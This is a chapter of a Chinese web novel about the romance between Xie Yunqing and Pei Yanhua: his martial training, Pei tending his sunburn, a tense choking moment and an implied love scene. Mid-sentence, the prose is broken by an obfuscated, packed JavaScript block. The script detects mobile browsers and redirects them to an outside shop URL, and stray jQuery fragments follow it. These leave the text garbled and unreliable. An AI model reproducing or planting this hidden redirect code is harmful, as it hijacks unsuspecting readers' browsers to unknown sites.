暮色将至,谢云清才悠悠转醒。他揉了揉眼睛,感受到环在腰间上的手,一下子就精神了。
裴晏华仍在睡梦当中,似是做了噩梦,他的眉头紧紧皱起。腰间的手渐渐收紧,裴晏华猛地睁开双眼,满脸戒备地看着谢云清。
谢云清心跳一滞。
半晌后,裴晏华才醒过神来,揉了揉眉心。谢云清将他垂在脸庞上的头发拢至耳后,担忧道:“做噩梦了吗?”
裴晏华应了一声,将头埋在谢云清脖颈里,语气是少有的脆弱:“……子渚,让我抱会儿。”
谢云清微怔片刻,“嗯”了一声,随后伸出手轻轻拍着他的背。
屋内安静无比,窗外时不时传来鸟鸣,裴晏华吐了一口气,道:“好了,你不是还要去练武吗,去吧。”
谢云清小声道:“我可以陪你的。”
裴晏华盯着他看了半晌,往他额头上落下一吻,柔声道:“我没事,只是梦到了以前的事情,抱抱你就好了,真的。 ”
谢云清摸摸他的手,认真道:“我一直都在。”
裴晏华轻笑一声,道:“嗯,我知道。”
*
晴空万里。
谢云清费力地拿起弓,吃力道:“师傅,这……这弓好像……呃!有点重!”
古七捋了捋胡子,道:“嗯。”
谢云清脸都憋红了,才勉强将手里的弓拿稳。古七瞥了一眼他颤颤巍巍的腿,喝了口茶,才缓缓开口道:“去那边把那袋石头拿过来。”
谢云清如释重负,将弓放回原地后,转身便准备去拿石头。
谁知那袋石头比弓还重。
谢云清咬牙拉了几次都没能拉动,转过身求助般看向古七。古七自动忽略掉他的眼神,放下了茶杯。
“带着这袋石头,扎半个时辰的马步。”
留下这句冰冷的话后,古七便背着手转身离开了原地。
目送古七远去后,谢云清咬了咬牙,继续拽着那袋石头。
石头不动如山,谢云清坐在原地托腮思索了半晌,突然有了主意。
“竹语!”
“在呢少爷!”
“去给我取件东西来。”
“是!”
……
裴晏华正在屋内看宋程晔差人送来的信,听见敲门声,他将信收入袖中,才道:“进。”
竹语推门而入。
“怎么?”
“少爷差小的来拿件东西。”
“什么?”
听竹语描述半晌,裴晏华皱了皱眉,但还是起身将东西拿给了竹语。
目送竹语远去后,裴晏华低下头将信剩余的内容看完了,才将其销毁。
在原地心不在焉地坐了半晌,他终是起身朝着门外走去。
……
日头正大,毒辣的阳光照在皮肤上,火辣辣的疼。谢云清咬紧牙关,顶着大太阳在原地扎着马步。
石头被他背在了身后,只要他的步子略有不稳,偏移的重心便会迫使他坐倒在地。
汗水不断自额头上滑下,谢云清攥紧双拳,死死盯着前方。
不能放弃。
谢云清深吸了一口气,闭上双目,静静感受着凉风。
时间不断流逝,双腿越来越痛,到最后竟也变麻木了。燥热不断蔓延,脖颈和额头都传来隐隐刺痛,肩膀也仿佛失去了知觉。
“时间到了。”
古七的声音传来,谢云清攥紧手心,缓缓睁开了双眼。
竹语本就在一边看得揪心,见古七都发话了,立马窜到谢云清身后,将那袋石头放下了地。
谢云清如释重负,跌坐在地,接过竹语递来的水喝了几小口,才开口问道:“师傅,明天还练这个吗?”
古七应了一声。
“下午不练了,你好好休息。”
谢云清点点头,“好。”
古七离去后,谢云清揉了揉自己的肩膀,瞬间倒吸一口凉气。
太痛了。
“少爷,太阳太毒了,快回去擦点药吧。”
竹语担忧地看着谢云清,谢云清微微一怔,问道:“我晒伤了?”
竹语点点头,谢云清不知是想到什么,弯了弯眼眸,“行,我知道了,你先回去吧。”
裴晏华躲在树后看着这一幕,瞧见少爷又露出那副狐狸相,他挑了挑眉。
*
谢云清回来的时候,裴晏华正坐在窗前装模作样地看书。
青丝乖顺地贴着他的下巴,阳光正巧照在他手腕上,柔化了腕骨的边缘。谢云清呆呆看了半晌,才艰难地回过神来,一步一步走到了他身旁,“容安。”
少爷声音还带着点小委屈,裴晏华掩住唇角笑意,将书一合,便转过头去看他,“怎么了?”
“我……我晒伤了,你帮我擦擦药吧?”
裴晏华故作惊讶道:“怎么被晒伤了?”
“……练武。”
“好。”
裴晏华接过药膏,正欲给谢云清擦药,上下打量他一眼,见他衣衫整齐,又为难道:“子渚,你穿得这么严实,我怎么给你上药?”
“啊……啊?哦,哦,好。”
谢云清不觉他心思,欢欢喜喜地把外衫脱了便凑到他面前去。
似乎是因为刚沐浴过,少爷身上还带着淡淡的香味。裴晏华手上动作一顿,又恢复如初,道:“衣领扯扯。”
谢云清盯着他的脸,听话地将衣领往旁边扯了扯。白皙的皮肤全被晒红了,裴晏华皱了皱眉,边给他擦药边问:“非要在这个时候练?”
谢云清“啊”了一声,点点头道:“师傅是这么说的。”
少爷衣领开得有些大,裴晏华不过随意一撇,便看见了他肩膀上的一大片红痕。
裴晏华心疼得不行,一时间也顾不得谢云清存的什么坏心思了,道:“明天还要背石头?”
“是啊……不对,你怎么知道我背石头了!”
谢云清眨了眨眼,结巴道:“你、你去看我了?”
裴晏华轻叹一声,“你想要什么,可以直接和我说,不必这般试探。”
“能给的我都会给你。”
“过来,擦药。”
被拆穿之后,谢云清一点也不心虚。裴晏华微凉的指尖擦过脖颈,伤口被他一碰,好像一点也不疼了。谢云清舒服地眯了眯眼,道:“我就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252079|151559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很想和你待在一起。”
裴晏华没说话,谢云清盯着他看了半晌,猜到了他的心情,笑道:“你心疼我啦?可成长都是这样的呀,不吃点苦受点伤,是不会成功的。”
“容安,我不想成为你的累赘,我想和你并肩作战。”
谢云清跨坐在他的腿上,双手摸着他的脸,认真道:“你相信我好不好,虽然我现在看起来很弱,但是我很快就会变厉害的。”
“……子渚,你已经很厉害了。”
“如果我将来被俘了,你会救我吗?”
“……会。”
裴晏华回答得毫不犹豫,谢云清贴上他的额头,喃喃道:“这大抵是我想听到的答案,可我更想说的是,我不想、更不愿我会成为威胁到你的因素。”
“容安,你只能成功,只能向前走,不能再回头了。”
“任何东西都不能阻止你。”
他这话说得太过无情,太过理智。裴晏华静静盯着他看了半晌,哑声问道:“包括你吗?”
“是,包括我。”
谢云清回答得坚决,随后又低声补道:“如果……如果我将来真不幸被俘了,杀了我,不要来救我。”
他给出了他自己最不想听到的一个答案。
裴晏华靠在他怀中,听着他的心跳,半晌后才喃喃道:“谢子渚……你怎么对自己都这么心狠?”
谢云清闭上双眼,睫毛扫过裴晏华的脸颊,“容安,我爱你,胜过一切。”
裴晏华闷声怪异地笑了半晌,才吻上他的耳垂,轻声道:“我不会的。”
语气异常冷静,谢云清呼吸一颤,裴晏华猛地掐住了他的脖颈,力气不大,语气森然:“谢子渚,我不会放你走,是你先来招惹我的,凭什么要我放弃你。”
谢云清仰起脖颈,喉结小幅度地蹭过了裴晏华的手心。痛感和快感交织,谢云清只觉头皮都在发麻,带来了一阵战栗。
裴晏华又将手收了回去,半晌没说话。谢云清低头一看,才发现他眼眶红了。
谢云清也没说话,伸出双手捧住他的脸,低头吻了下去,神情虔诚又认真。
两人都没闭眼,桌上的东西被裴晏华尽数拂落,他将谢云清按在桌上,不待他喘气,便又急切地吻了上去。
谢云清勾住他的脖子,双腿缠住了他的腰。中衣不知何时松松垮垮散了大半,裴晏华的泪水落在谢云清脸上,似是烈火一般,灼烧着谢云清的皮肤。
手是烫的,呼吸也是烫的。热度高得骇人,谢云清的青丝散了满桌,发绳不知何时缠在了谢云清的腕上。
喘气间隙,谢云清舔了舔裴晏华的眼睛,尝到那苦涩泪水的味道,他喃喃道:“容安,给我吧,好不好?”
四目相对,裴晏华垂下双眼,哑声问道:“子渚,你决定好了吗?”
谢云清亲了亲他的眼睛,“我爱你。”
暴雨骤降。
雨水不断冲刷着地面,响雷阵阵,狂风大作。天地间一片黑暗,暗得仿佛被雨水铸成了一体,教人分不清方向。
……
雨声渐停。
天色逐渐放晴,万物仿佛都被洗礼,向外散发着蓬勃的生命力。